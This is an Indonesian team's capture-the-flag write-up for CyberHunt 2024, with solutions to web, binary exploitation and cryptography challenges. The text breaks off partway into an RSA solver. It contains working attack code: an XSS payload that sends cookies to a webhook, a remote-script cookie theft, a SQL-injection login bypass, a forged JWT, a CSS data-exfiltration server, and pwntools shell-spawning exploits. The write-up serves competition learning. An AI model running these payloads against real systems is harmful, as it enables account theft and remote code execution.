# N2LHaRD\_Write\_Up\_Cyber\_Hunt24

Write Up CyberHunt 2024



N2L - HaRD

Newton’s second law



Daniel

Hafidz

Caleb

Daftar Isi

Web Exploitation        6

simple curl        6

Flag: CYHUNT24{YmFieV9zaW1wbDNfZzBfY3VybA}        7

simple curl medium        7

Flag: CYHUNT24{m3dium\_ezz\_br0}        7

starboy or starling?        7

Flag: CYHUNT24{str1ng\_b3fore\_us1ng\_sw1tch\_in\_PHP}        8

JWT        8

Flag: CYHUNT24{Udah\_daftar\_Technofair\_belum??}        8

Bread        8

Flag: CYHUNT24{COOKIES\_COOKIES\_ENAKK-TAUU\_HEHEHE}        8

Agent Rahasia        8

Flag: CYHUNT24{zzpatnam\_eheh}        8

Val and Key        9

Flag: CYHUNT24{K3rja\_B49us}        9

GerAld        9

Flag: CYHUNT24{kerenn\_kamu\_mendapatkan\_flag\_nya}        9

Javat (The Comeback Of Jawat)        10

Flag: CYHUNT24{w0w\_j4g0\_k4l1\_4nd4\_spr1ng\_exploit}        10

ConDupload        11

Flag:CYHUNT{3z\_b4s1c\_xss\_f0r\_y0u}        12

ConnectDuo        13

Flag: CYHUNT{g00d\_j0b\_h4x0r\_ch41n1n9\_m0r3\_4nd\_m0r3}        15

XCRIP’ss        16

Flag: CYHUNT24{m4k4s1h\_ud4h\_s0lv3d\_4ll\_ch4ll}        18

Binary Exploitation        19

ash        19

Flag: CYHUNT24{w1nn1ng\_4\_sh3ll\_y34?}        20

trip        20

Flag: CYHUNT24{n1c3\_tr1p\_0f\_l1bc\_1snt\_1t}        21

punktion        21

Flag: CYHUNT24{4z\_r3t\_h3h3h3\_n1c3\_c4tch}        22

Cryptography        23

ber berr bernyanyi bernyanyi        23

Flag: CYHUNT24{1100\_1011\_1110\_1111}        24

easy decode        24

Flag: CYHUNT24{just\_decode\_bradah}        26

rail fense        26

Flag: CYHUNT24{just\_for\_wsrmup\_beiB}        27

ikan mati        27

Flag: CYHUNT24{m4sih\_P3m4nas4n\_uNtuk\_y4ng\_BeLom\_P4nas}        28

aRC4de        29

Flag: CYHUNT24{1Ts\_b4d\_t0\_u53\_th3\_s4me\_keY}        29

Secret Message        30

Flag: CYHUNT24{EASY\_CHALL\_CRYPTO}        31

ezz warmup        31

Flag: CYHUNT24{k4mu\_s3puh\_bett\_yah}        32

Rivest Shamir Adleman        32

Flag: CYHUNT24{3ncryp710n\_x0r\_w17h\_5h4\_512\_n07\_s3cur3\_1\_h0p3\_y0u\_ain7\_d0\_m4nu4lly}        32

kembalikan fotoku        33

Flag: CYHUNT24{d0Nt\_sH4R3\_mY\_iM4g3}        34

RSA        34

Flag: CYHUNT24{CHALL\_RSA\_WAJIB-ADA}        36

Misc        36

find me        37

Flag: CYHUNT24{nice\_tandanya\_matamu\_sehat}        38

behind the email        39

Flag: CYHUNT24{cum4\_g1ni\_4ja\_gak\_us4h\_b1ngung}        40

World Based        41

Flag: CYHUNT24{Ban9\_udah\_Ban99}        42

Cari MD5 Hash        42

Flag: CYHUNT24{Md5hash\_f1le\_itu\_Koenji}        43

Jahil        43

Flag: CYHUNT24{pyJa!l\_br3AkPoinT\_bu1ltIn\_xPlo!t}        44

ZipZig        45

Flag: CYHUNT24{g1t\_1s\_wh4t\_1t\_t4k3s}        47

Benjamin Angel        47

Flag: CYHUNT24{3ncryp710n\_x0r\_w17h\_5h4\_512\_n07\_s3cur3\_1\_h0p3\_y0u\_ain7\_d0\_m4nu4lly}        48

Reverse Engineering        49

Tebak password        49

Flag: CYHUNT24{juST\_R3aD\_IT}        49

ular aneh        50

Flag: CYHUNT24{tHIS\_Is\_Pyth0N\_In\_dISAS}        51

static        51

Flag: CYHUNT24{D0\_yoU\_kN0w\_wh4tiS\_St4tic\_m34N}        52

Regoal        52

Flag: CYHUNT24{}        52

Gogen        53

Flag: CYHUNT24{w4s\_s0\_3z\_f0r\_g0l4ng}        54

Digital Forensic        55

barang bukti        55

Flag: CYHUNT24{6350386314}        55

kena heck        56

Flag: CYHUNT24{usb\_my\_fav\_St0rage}        56

Flagstorage        56

Lookin’ for Secrets        57

Flag: CYHUNT24{appd4ta\_c4ch3data\_235wefs35}        58

tebak aku        58

Flag: CYHUNT24{tetap\_ilmu\_padi\_abangku}        58

IMG        58

Flag: CYHUNT24{masih\_pemanasan\_iniii}        59

Steg        59

Flag: CYHUNT24{masih\_easy-lahh\_yaaa}        59

bit/bit        59

Flag: CYHUNT24{1n\_god\_w3\_trust}        60

rumah makan on day monday        60

Flag: CYHUNT24{CYHUNT24{m1s1\_suks3s\_k4mu\_c1n4\_as33l111\}}        60

Child’s Play        60

Flag: CYHUNT24{br0ken\_h3x\_i5\_EasY}        60

Huh Its Me Again        61

Flag: CYHUNT24{t3mpl4t3\_d4ng3r0us\_s3r10usly}        61

ayo maen bola        62

Flag: CYHUNT24{T0pP\_SLUR}        63

Osint        64

no feedback        64

Flag: CYHUNT24{86554}        65

citylight        66

Flag: CYHUNT24{X9X4+69}        68

Koko Doko?        68

Flag: CYHUNT24{-6.454,106.672}        69

old pict        69

Flag: CYHUNT24{hehehe\_congrats////}        70

masalalu        71

Flag: CYHUNT24{23\_09\_2011}        72

searchengine        72

Flag: CYHUNT24{3h\_ketemu\_d1sini}        73

Ingris Berduka        74

Flag: CYHUNT24{10665}        75

Destinasi        76

Flag: CYHUNT24{Obelix\_Sea\_View}        77

OSIG        78

Flag: CYHUNT24{EASY\_CHALL\_OSINT}        78

### &#x20;<a href="#h.jqdrnhp0xtsm" id="h.jqdrnhp0xtsm"></a>

### \[CyberHunt 2024] <a href="#h.d15tvykupbey" id="h.d15tvykupbey"></a>

***

Welcome Chall\




Overview

Free flag dari CyberHunt 2024.

Flag : CYHUNT24{WELCOME\_CYBER\_HUNT2024}

\[Web Exploitation]

***

### simple curl <a href="#h.vzyuuyqufcsp" id="h.vzyuuyqufcsp"></a>



Overview

Diberikan source code beserta service pada url http://cyberhunt.my.id:8080/

Attachment

[Simple.zip](https://www.google.com/url?q=http://cyberhunt.my.id/files/422517e6f48a9cc94823d7b478a236f8/simple.zip?token%3DeyJ1c2VyX2lkIjo3LCJ0ZWFtX2lkIjoyLCJmaWxlX2lkIjo1M30.Zlud8w.cBE3uySsrRID7oHAxYt_TwuPn6M\&sa=D\&source=editors\&ust=1717349616052513\&usg=AOvVaw0HZlrXAmtAT9h9bZYhe9cz)

Code Review

Source code berisi kode program dalam bahasa pemrograman Golang (Go). Melalui analisis kami, kami menemukan beberapa kode penting, salah satunya adalah pengecekan request URL.

func redirectChecker(req \*http.Request, via \[]\*http.Request) error {

&#x20;       reqIp := strings.Split(via\[len(via)-1].Host, ":")\[0]

&#x20;       if len(via) >= 2 || reqIp != "127.0.0.1" {

&#x20;               return errors.New("Something wrong")

&#x20;       }

&#x20;       return nil

}

karena mirip dengan [Cake CTF 2022](https://www.google.com/url?q=https://hooya0011.tistory.com/148\&sa=D\&source=editors\&ust=1717349616055144\&usg=AOvVaw3yZ8ncllbIISDbe25C5Dug) jadi kami pakai saja cara mereka untuk mendapatkan flagnya dengan cara



#### Flag: CYHUNT24{YmFieV9zaW1wbDNfZzBfY3VybA} <a href="#h.ussa5b4xc3rj" id="h.ussa5b4xc3rj"></a>

### simple curl medium <a href="#h.8vfghsj6mo2y" id="h.8vfghsj6mo2y"></a>



karena mirip dengan [Cake CTF 2022](https://www.google.com/url?q=https://hooya0011.tistory.com/148\&sa=D\&source=editors\&ust=1717349616056867\&usg=AOvVaw3AKj0gYRdlRQacjWCtErO8) seperti tadi jadi kami pakai saja cara mereka untuk mendapatkan flagnya dengan cara



#### Flag: CYHUNT24{m3dium\_ezz\_br0} <a href="#h.ach1ce2nm8ze" id="h.ach1ce2nm8ze"></a>

### starboy or starling? <a href="#h.dew58tzccetm" id="h.dew58tzccetm"></a>



terdapat wu yg mirip pada soal ini yakni

[https://blog.hamayanhamayan.com/entry/2022/09/04/150554#web-CakeGEAR](https://www.google.com/url?q=https://blog.hamayanhamayan.com/entry/2022/09/04/150554%23web-CakeGEAR\&sa=D\&source=editors\&ust=1717349616058881\&usg=AOvVaw39iSrPthEr1xnSeaM34ff8)

tinggal login pakai body ini

{"username":true,"password":true}

#### Flag: CYHUNT24{str1ng\_b3fore\_us1ng\_sw1tch\_in\_PHP} <a href="#h.ji1grb2150iv" id="h.ji1grb2150iv"></a>

### JWT <a href="#h.ghc33kkw976" id="h.ghc33kkw976"></a>



kita tinggal edit roles nya jadi admin dah kelar di cookienya yang bagian body jwt nya

#### Flag: CYHUNT24{Udah\_daftar\_Technofair\_belum??} <a href="#h.hjv2zpiul3c1" id="h.hjv2zpiul3c1"></a>

### Bread <a href="#h.gfx9lx1jsvp" id="h.gfx9lx1jsvp"></a>



kita dpt link replit, kita buka aja lgsg trs ke /flag.txt

https://5e8745bc-534c-498f-baf4-a1af117324c9-00-1k2ltb2e8vmpn.sisko.replit.dev/flag.txt

#### Flag: CYHUNT24{COOKIES\_COOKIES\_ENAKK-TAUU\_HEHEHE} <a href="#h.safrxi1ks9na" id="h.safrxi1ks9na"></a>

### Agent Rahasia <a href="#h.uhr9f2a22fs1" id="h.uhr9f2a22fs1"></a>



kita tinggal set agentnya jadi cyberspecters dan dpt flagnya btw flagnya ni dibaca terbalik isinya

curl https://ctf.teknokrat.ac.id/chall/cyberhunt/agent.php -H "User-Agent: cyberspecters"

CYHUNT24{zzpatnam\_eheh}%           &#x20;

dan di reverse teks                                                                                   &#x20;

#### Flag: CYHUNT24{hehe\_mantapzz} <a href="#h.sh2twf471rzd" id="h.sh2twf471rzd"></a>

### Val and Key <a href="#h.h731dco2wpz7" id="h.h731dco2wpz7"></a>

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FHi7mYibO1XqOJvaeoIGB%2Fimage1.png?alt=media)

kita tinggal set header val dan key nya sesuai deskripsi

mintaflag=cyberspecters

curl https://ctf.teknokrat.ac.id/chall/cyberhunt/header.php -H "Cookie: X-Header-key=mintaflag;X-Header-val=cyberspecters"

CYHUNT24{K3rja\_B49us}%                                                                                                              &#x20;

#### Flag: CYHUNT24{K3rja\_B49us} <a href="#h.aly4bnlv0ula" id="h.aly4bnlv0ula"></a>

### GerAld <a href="#h.qj9r8x6uaon4" id="h.qj9r8x6uaon4"></a>



sama kayak yg replit tadi kita buka pakai /flag.txt

https://1122a2a4-af20-447c-a1a7-bb85290d8a08-00-1snfmebwkm5i0.pike.replit.dev/flag.txt

#### Flag: CYHUNT24{kerenn\_kamu\_mendapatkan\_flag\_nya} <a href="#h.guvs45o43lv7" id="h.guvs45o43lv7"></a>

### Javat (The Comeback Of Jawat) <a href="#h.xyjhgi15rro2" id="h.xyjhgi15rro2"></a>



disini menggunakan spring dan juga jwt, lgsg saya search spring exploit dan ketemu weak ECDSA signature [https://www.linkedin.com/pulse/elliptic-curve-digital-signature-algorithm-flaw-mohammed-janbar](https://www.google.com/url?q=https://www.linkedin.com/pulse/elliptic-curve-digital-signature-algorithm-flaw-mohammed-janbar\&sa=D\&source=editors\&ust=1717349616063094\&usg=AOvVaw2_uFT_hTQDvbAd-TinUwny)

lgsg kita modif payload body jwt nya dan ubah bagian terakhir menjadi MAYCAQACAQA

eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.yjfvUuPdmyMqPJRt-c71fVluOXR2K\_iddRN8FQ9BEybJOkbeCH7OpBwUZb-LlF9uBWZnTaPAi\_xSzUt77nrhLA

jadi

eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.MAYCAQACAQA



#### Flag: CYHUNT24{w0w\_j4g0\_k4l1\_4nd4\_spr1ng\_exploit} <a href="#h.8b9pbf7qxl6x" id="h.8b9pbf7qxl6x"></a>

### ConDupload <a href="#h.cg5nnh6joo6b" id="h.cg5nnh6joo6b"></a>

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FvFskFmO2NNKdsg9XBsvy%2Fimage13.png?alt=media)

disini ada terdapat kerentanan yakni xss pada rendering second page pdf ( dan pastekan xss nya tadi ke /logger untuk grab cookie admin )

lgsg aja pakai solver saya

import httpx

import fpdf

URL = "http://103.191.63.185:49047"

PDFNAME = "exploit.pdf"

WEBHOOK = "https://\{{webhooklu\}}"

class BaseAPI:

&#x20;  def \_\_init\_\_(self, url=URL) -> None:

&#x20;      self.c = httpx.Client(base\_url=url)

&#x20;  def sendpdf(self,namefilepdf) -> str:

&#x20;      data = {"file":open(namefilepdf,'rb')}

&#x20;      return self.c.post("/upload", files=data).json()\["file\_path"]

&#x20;  def triggeradmin(self,uid):

&#x20;      return self.c.get(f'/logger',params={

&#x20;          "url":f"{URL}/view/{uid}"

&#x20;              }).text

class API(BaseAPI):

&#x20;  def createPayloadPDF(self,payload,fileoutputname):

&#x20;      self.filename = fileoutputname

&#x20;      self.pdf = fpdf.FPDF(format='letter')

&#x20;      self.pdf.add\_page()

&#x20;      self.pdf.set\_font("Arial", size=12)

&#x20;      self.pdf.cell(200, 10, txt="your text", ln=1, align="L")

&#x20;      self.pdf.add\_page()

&#x20;      self.pdf.cell(200, 10, txt=payload, ln=1, align="L")

&#x20;      self.pdf.output(self.filename)

if \_\_name\_\_ == "\_\_main\_\_":

&#x20;  api = API()

&#x20;  api.createPayloadPDF(f"""

\<script>

&#x20;  fetch('{WEBHOOK}?c='+document.cookie)

\</script>""",PDFNAME)

&#x20;  path = api.sendpdf(PDFNAME).replace("uploads/", "")

&#x20;  print(api.triggeradmin(path))



#### Flag:CYHUNT{3z\_b4s1c\_xss\_f0r\_y0u} <a href="#h.x5s1nftah5bd" id="h.x5s1nftah5bd"></a>

### ConnectDuo <a href="#h.1ypq8wga95jd" id="h.1ypq8wga95jd"></a>

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FTLB9HScrqBWQtLX77Hj1%2Fimage10.png?alt=media)

disini terdapat 2 kerentanan yakni xss universal path yakni /bootstrap.js ( karna gapake / jadi bs dirender dimanapun kalao kita set \<base tag ) dan 1 lagi yaitu lfi read cmdline

untuk caranya kita tinggal host bootstrap.js di local kita dan tunneling menggunakan apapun yg kalian mau disini saya pakai playit. ini untuk isi bootstrap.js nya

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FRnmjHTq02zvI8HY1RUrv%2Fimage14.png?alt=media)

yaitu mengirim cookie di requestcatcher

selanjutnya kita host file ini bs menggunakan simple server python dan juga ngrok



dan lgsg saja kita taruh payload

\<base href="[http://kids-penn.gl.at.ply.gg:45858](https://www.google.com/url?q=http://kids-penn.gl.at.ply.gg:45858\&sa=D\&source=editors\&ust=1717349616078169\&usg=AOvVaw1wnDbDGmd4KmGb-V4cJB8V)">

dan kita taruh di /logger jadi full payloadnya

http://103.191.63.185:8837/logger?url=http://103.191.63.185:8837/msg?payload=\<base href="http://kids-penn.gl.at.ply.gg:45858">

dan cek webhook kita



terdapat cookieadmin. lgsg kita eskalasi ke lfi



dapet nama flag nya. lgsg kita get



#### Flag: CYHUNT{g00d\_j0b\_h4x0r\_ch41n1n9\_m0r3\_4nd\_m0r3} <a href="#h.qj4zfvdjlb2a" id="h.qj4zfvdjlb2a"></a>

### XCRIP’ss <a href="#h.ez4v2gopf8oo" id="h.ez4v2gopf8oo"></a>



Disini kami harus melakukan xs-leak, namun ada beberapa rules pada csp.

csp = { 'default-src': \['none'], \\

&#x20;       'style-src': \['\*'], \\

&#x20;       'img-src': \['\*'], \\

}

Kami sudah jelas tidak bisa melakukan XSS karena default-src none, namun kami bisa memanfaatkan style-src yang nantinya kami bisa pakai css selector buat nge match flag di attribute value h2 satu per satu.

Di login ada sqli tapi username kami harus broskiereallythink\_he\_is\_admin\_lol biar bisa request ke /logger dan di password harus ada string t rootp dan length nya harus 57 setelah nyoba nyoba semua payload akhirnya kami dapet payload kaya gini.

username = "broskiereallythink\_he\_is\_admin\_lol"

password = "t rootp' union select 1,2,3 -- aaaaaaaaaaaaaaaaaaaaaaaaaa"

karena ini xs leak untuk solver nya kita buat 2 script yang pertama solver.py dan server.py.

solver.py

import requests

import http.server

import sys

import string

URL = "http://103.191.63.185:8337"

URL\_SERVER = sys.argv\[1]

admin\_request = requests.Session()

admin\_request.post(URL + "/login", data={

&#x20;   "username": "broskiereallythink\_he\_is\_admin\_lol",

&#x20;   "password": "t rootp' union select 1,2,3 -- aaaaaaaaaaaaaaaaaaaaaaaaaa"

})

for count in range(100):

&#x20;   response = admin\_request.get(

&#x20;       f"{URL}/logger?url={URL}/dash?usr=\<link rel='stylesheet' href='{URL\_SERVER}/{count}.css'>"

&#x20;   )

server.py

from flask import Flask

import string

HOST = "10.10.0.1" # ip public vps

PORT = 8000

FLAG = ""

app = Flask(\_\_name\_\_)

@app.route("/\<flag>", methods=\["GET"])

def index(flag):

&#x20;   global FLAG

&#x20;   FLAG = flag

&#x20;   return flag

@app.route("/\<int:count>.css", methods=\["GET"])

def css(count):

&#x20;   global FLAG

&#x20;   payload = ""

&#x20;   for char in string.ascii\_letters + string.digits + "\_{}":

&#x20;       payload += f'h2\[value^="{FLAG}{char}"]\{{background: url("http://{HOST}:{PORT}/{FLAG}{char}"), auto\}}'

&#x20;   return payload, 200, {"Content-Type": "text/css"}

if \_\_name\_\_ == "\_\_main\_\_":

&#x20;   app.run(host=HOST, port=PORT, debug=True)

Setelah penantian panjang buat dapetin flag akhirnya kita dapet flagnya CYHUNT24{m4k4s1h\_ud4h\_s0lv3d\_4ll\_ch4ll}

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FRAtLgVRvLwrtgeEgwjxL%2Fimage12.png?alt=media)

#### Flag: CYHUNT24{m4k4s1h\_ud4h\_s0lv3d\_4ll\_ch4ll} <a href="#h.f08fsvs7117g" id="h.f08fsvs7117g"></a>

### &#x20;<a href="#h.hwrw61yed63t" id="h.hwrw61yed63t"></a>

### Binary Exploitation <a href="#h.rb9hy03tvgdj" id="h.rb9hy03tvgdj"></a>

### ash <a href="#h.jui77o9ehqa6" id="h.jui77o9ehqa6"></a>



basically kita cmn perlu write shellcode dan leak address saja dan ini solvernya

\#!/usr/bin/env python3

\# -\*- coding: utf-8 -\*-

from pwn import \*

context.terminal = \["kitty", "@launch", "--cwd=current", "--location=vsplit"]

exe = context.binary = ELF(args.EXE or 'chall2')

host = args.HOST or '103.191.63.185'

port = int(args.PORT or 9999)

def start\_local(argv=\[], \*a, \*\*kw):

&#x20;  '''Execute the target binary locally'''

&#x20;  if args.GDB:

&#x20;      return gdb.debug(\[exe.path] + argv, gdbscript=gdbscript, \*a, \*\*kw)

&#x20;  else:

&#x20;      return process(\[exe.path] + argv, \*a, \*\*kw)

def start\_remote(argv=\[], \*a, \*\*kw):

&#x20;  '''Connect to the process on the remote host'''

&#x20;  io = connect(host, port)

&#x20;  if args.GDB:

&#x20;      gdb.attach(io, gdbscript=gdbscript)

&#x20;  return io

def start(argv=\[], \*a, \*\*kw):

&#x20;  \# '''Start the exploit against the target.'''

&#x20;  \# if args.LOCAL:

&#x20;  \#     return start\_local(argv, \*a, \*\*kw)

&#x20;  \# else:

&#x20;  return start\_remote(argv, \*a, \*\*kw)

gdbscript = '''

tbreak vuln

continue

'''.format(\*\*locals())

\# -- Exploit goes here --

io = start()

io.send(cyclic(0x40))

io.recvuntil(cyclic(0x40))

buf = u64(io.recv(6) + b"\0\0") - 336

log.info(f"buffer @ 0x{buf:x}")

shellcode = asm(shellcraft.sh())

offset = 328

io.sendline(flat({0: shellcode, offset: buf}))

io.interactive()

#### Flag: CYHUNT24{w1nn1ng\_4\_sh3ll\_y34?} <a href="#h.4cy8bbb05r46" id="h.4cy8bbb05r46"></a>

### trip <a href="#h.vpjwq8fp6sxx" id="h.vpjwq8fp6sxx"></a>



ropgadget ret2libc dengan memanfaatkan got.setbuf untuk ngeleak address dari libc

\#!/usr/bin/env python3

from pwn import \*

exe = ELF("./chall")

libc = ELF("./libc.so.6")

ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

if args.REMOTE:

&#x20;  r = remote("103.191.63.185", 13377)

else:

&#x20;  r = process(\[exe.path])

&#x20;  if args.GDB:

&#x20;      gdb.attach(r)

rop1 = ROP(exe, badchars=b'')

rop1.puts()

rop1.main()

log.info(rop1.dump())

r.sendlineafter(b'sus?', b'A' \* 56 + p64(exe.got.setbuf) + b'B' \* 8 + rop1.chain())

libc.address = int.from\_bytes(r.recvline(keepends=False), 'little') - libc.symbols.setbuf

log.info(f'{hex(libc.address)=}')

rop2 = ROP(\[exe, libc], badchars=b'')

rop2.execve(next(libc.search(b'/bin/sh\0')), 0, 0)

log.info(rop2.dump())

r.sendlineafter(b'sus?', b'A' \* 72 + rop2.chain())

r.interactive()

#### Flag: CYHUNT24{n1c3\_tr1p\_0f\_l1bc\_1snt\_1t} <a href="#h.2vyzmppouqmx" id="h.2vyzmppouqmx"></a>

### punktion <a href="#h.rgid54xu3xqu" id="h.rgid54xu3xqu"></a>



leak canary  menggunakan printf leak dan return to function win ( \_punk\_uns )

\#!/usr/bin/env python3

from pwn import \*

exe = ELF("./chall")

context.binary = exe

if args.REMOTE:

&#x20;  r = remote("103.191.63.185", 9993)

else:

&#x20;  r = process(\[exe.path])

&#x20;  if args.GDB:

&#x20;      gdb.attach(r)

r.sendlineafter(b'what grade are u?', b'A' \* (0x48 - 3) + b"i'm")

r.recvuntil(b'hi ')

canary = u64(b'\0' + r.recv(7))

log.info(f'{hex(canary)=}')

pl = b'A' \* 0x48

pl += p64(canary)

pl += b'B' \* 8

pl += p64(exe.symbols.\_punk\_uns)

r.sendlineafter(b'SMA', pl)

r.sendline(b'bye')

r.interactive()

#### Flag: CYHUNT24{4z\_r3t\_h3h3h3\_n1c3\_c4tch} <a href="#h.nnkfts34fjno" id="h.nnkfts34fjno"></a>

### Cryptography <a href="#h.icl2qclotbgb" id="h.icl2qclotbgb"></a>

### ber berr bernyanyi bernyanyi <a href="#h.w65l97g9cfxm" id="h.w65l97g9cfxm"></a>



diberikan file berupa zip yang jika di ekstrak menghasilkan 4 foto dari chord gitar dan karena saya tidak bisa bermain gitar jadi saya mencari chord tersebut di google





okee dari foto tersebut diketahui bahwa chord dari foto foto tersebut ialah cbef, karena di hint disuru menggunakan binary jadi kita rubah menjadi binary, akan menjadi seperti berikut\
01100011 01100010 01100101 01100110\
setelah mencoba submit kita menemukan bahwa flagnya adalah

#### Flag: CYHUNT24{1100\_1011\_1110\_1111} <a href="#h.431couz4dlp" id="h.431couz4dlp"></a>

### easy decode <a href="#h.n0sv7x5nj71b" id="h.n0sv7x5nj71b"></a>



diberikan file chall.txt yang berisikan file jsfuck

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2F10gKcYI3oXmzquVjGsAt%2Fimage9.png?alt=media)

lalu kita coba run [jsfuck](https://www.google.com/url?q=https://www.sololearn.com/en/compiler-playground/c9ELyQpI5XZn/?ref%3Dapp\&sa=D\&source=editors\&ust=1717349616128625\&usg=AOvVaw1EUK2gk6CvIOuQuofVR0wx) di sini



mendapatkan hasil tersebut, kelihatannya base64 jadi

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FHZs5vykUptevy9WIAIVv%2Fimage19.png?alt=media)

setelah itu, hasil dari decode an nya berupa ascii jadi tinggal diubah ke ascii sajaa

#### Flag: CYHUNT24{just\_decode\_bradah} <a href="#h.yoi0qnduho6v" id="h.yoi0qnduho6v"></a>

### rail fense <a href="#h.uwto8kfvg3l0" id="h.uwto8kfvg3l0"></a>



Diberikan sebuah Plaintext, dan berdasarkan judul adalah sebuah rail fence cipher. Kami pun melakukan decrypt di [https://www.dcode.fr/rail-fence-cipher](https://www.google.com/url?q=https://www.dcode.fr/rail-fence-cipher\&sa=D\&source=editors\&ust=1717349616130055\&usg=AOvVaw3IHK1J58fIAbB363zC-Xmk).



#### Flag: CYHUNT24{just\_for\_wsrmup\_beiB} <a href="#h.r8xdbznopkpb" id="h.r8xdbznopkpb"></a>

### ikan mati <a href="#h.360a8ype4n53" id="h.360a8ype4n53"></a>



Berdasarkan, nama challnya, kami langsung terpikirkan pada Deadfish Language. Kami pun men-decode isi dari chall.txt di [https://www.dcode.fr/deadfish-language](https://www.google.com/url?q=https://www.dcode.fr/deadfish-language\&sa=D\&source=editors\&ust=1717349616131321\&usg=AOvVaw332FgotOTCTjEurX4hcP9N).

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2Fpoan28JjGtomzbt6KlKW%2Fimage18.png?alt=media)

Setelah di decode, terlihat outputnya adalah sebuah decimal, kami pun mengubahnya ke text di [Cyberchef](https://www.google.com/url?q=https://gchq.github.io/CyberChef/%23recipe%3DFrom_Decimal\(%27Space%27,false\)\&sa=D\&source=editors\&ust=1717349616131870\&usg=AOvVaw13K7uyurBV4-4zfqMC0-kY).



#### Flag: CYHUNT24{m4sih\_P3m4nas4n\_uNtuk\_y4ng\_BeLom\_P4nas} <a href="#h.667vdako91gg" id="h.667vdako91gg"></a>

### aRC4de <a href="#h.rgk1mkicxzic" id="h.rgk1mkicxzic"></a>



Dengan melihat nama soal dapat disimpulkan hint atau soal menggunakan bahasa RC4, jadi mari kita lihat isi dari chall.txt



Terlihat bahwa ada bilangan desimal, mari kita eksekusi



Nilai hex yang dimiliki melati di buat untuk KEY dan nilai hex mawar untuk ciphertext terakhir nilai dari drop bytes adalah 2, dan menemukan flagnya

#### Flag: CYHUNT24{1Ts\_b4d\_t0\_u53\_th3\_s4me\_keY} <a href="#h.qq13wz63lfxx" id="h.qq13wz63lfxx"></a>

### Secret Message <a href="#h.5csts8qtsuwf" id="h.5csts8qtsuwf"></a>



Soal ini memberikan sebuah chall.txt yang berisi pesan rahasia yang menggunakan bahasa asing



Dengan itu saya analis menggunakan dcode



Terlihat ada beberapa bahasa yang mengidentifikasi pesan tersebut menggunakan bahasa apa saja. Di sini saya mencoba semuanya dan saya menemukan bahasa base 64 di vigenere

&#x20;

Dengan KEY nya saya mengam sumsikannya adalah “cyberspecters”, setelah menemukan base64 langsung saja eksekusi



#### Flag: CYHUNT24{EASY\_CHALL\_CRYPTO} <a href="#h.t0764wlk6oye" id="h.t0764wlk6oye"></a>

### ezz warmup <a href="#h.pcgobo38ypl1" id="h.pcgobo38ypl1"></a>

beaufort cipher -> base64 -> save file to image

[https://www.boxentriq.com/code-breaking/beaufort-cipher](https://www.google.com/url?q=https://www.boxentriq.com/code-breaking/beaufort-cipher\&sa=D\&source=editors\&ust=1717349616136116\&usg=AOvVaw17fUFnrCwnpF2DzLf_B0pS)



#### Flag: CYHUNT24{k4mu\_s3puh\_bett\_yah} <a href="#h.ng5r4cgd5ncb" id="h.ng5r4cgd5ncb"></a>

### Rivest Shamir Adleman <a href="#h.eg73pt4q7qka" id="h.eg73pt4q7qka"></a>

from pwn import \*

from math import isqrt

from Crypto.Util.number import inverse

def solve(C, N, L):

&#x20; poss = \[]

&#x20; mlim = 2\*\*20

&#x20; for x in range(1, mlim):

&#x20;     a = x

&#x20;     b = L-N-x\*\*2

&#x20;     c = x\*N

&#x20;     d = b\*\*2-4\*a\*c

&#x20;     if (d < 0):

&#x20;         continue

&#x20;     qform = (-b + isqrt(d))//(2\*a)

&#x20;     p = N//qform

&#x20;     if ((p-x)\*(qform-x) == L):

&#x20;         poss.append((qform))

&#x20;         break

&#x20; p, q = poss\[0], N//poss\[0]

&#x20; phi = (p-1)\*(q-1)

&#x20; e = 65537

&#x20; d = inverse(e, phi)

&#x20; decrypted = pow(C, d, N)

&#x20; return decrypted

\# Call the function with the given values

c = 482141814293590197502811474932029460661002532026573389658314180817247220459567499644958813997954118165812805842379533342289685282342190878463555770319306702212371338421308577197808075733262746698915443870285704975713938187354245306882018603981861096910392565923449771474244846133935858183892442399384530396818463948228866440593529120035856503573645835417661055033375809617574668281810192642128039857794375578196515576016282697213146284137358859161967849203722347022670851942110328128090220811544954105609007156939589338442749349192205490919357312671666371523730743353967110958600501669921250066538273401682291394345855460667419963405890047662195424411646413051239913962784724603414614295672619281243619974099998284023569416931872380118826378415952641962074347822268988907665410162093893191294976542657310550364750171962183438541560667737058713130139687475959700180617174146124271080565029179919134970482251352276610620942172891344884427239369811412269931877319732705001157215137568954175594638966910255750482059458912720602745097824142949013286464493638164353122838573908807596997028438262020669411601445790668381313964905487504298277380439317740327368087769300728419726732791363279157290655787601257794628395101155639644842341699135

n = 5284362625808467629018573257322327361666488729391030833090753230485871446659543667777701486703416389155081424655856941485866242622542797158450258846632240079016042581120987419240267948907233510113651149283147666124230882501354326512235606121403309279432763975654676705344622078694142595291424297184644167735123599469915715922044921412506667367842316632475621472337120766302101331790931521513984230483050604739351859625407427260063468654175216296154310552431386638669941015738894764234325109599418325870877557000470744100765550776517200480336017931838074476945103802861574681778527758577228897452545697732940287431995819826184275396351140183879994594270965855966930947668871964121867771667622563008986359514471241329905640233079701802321088395236209322456895602140049011672112768654431872851789732080306064035709043482869717291294433190149223887839530270473069775144349421110246883348422048496390827236593263229421975541727035943826223613304158893043374811050067106743148324293920488233093768973920932918145447521787563313139333262749183975558063839668279384777978876263222955830674196785261705027510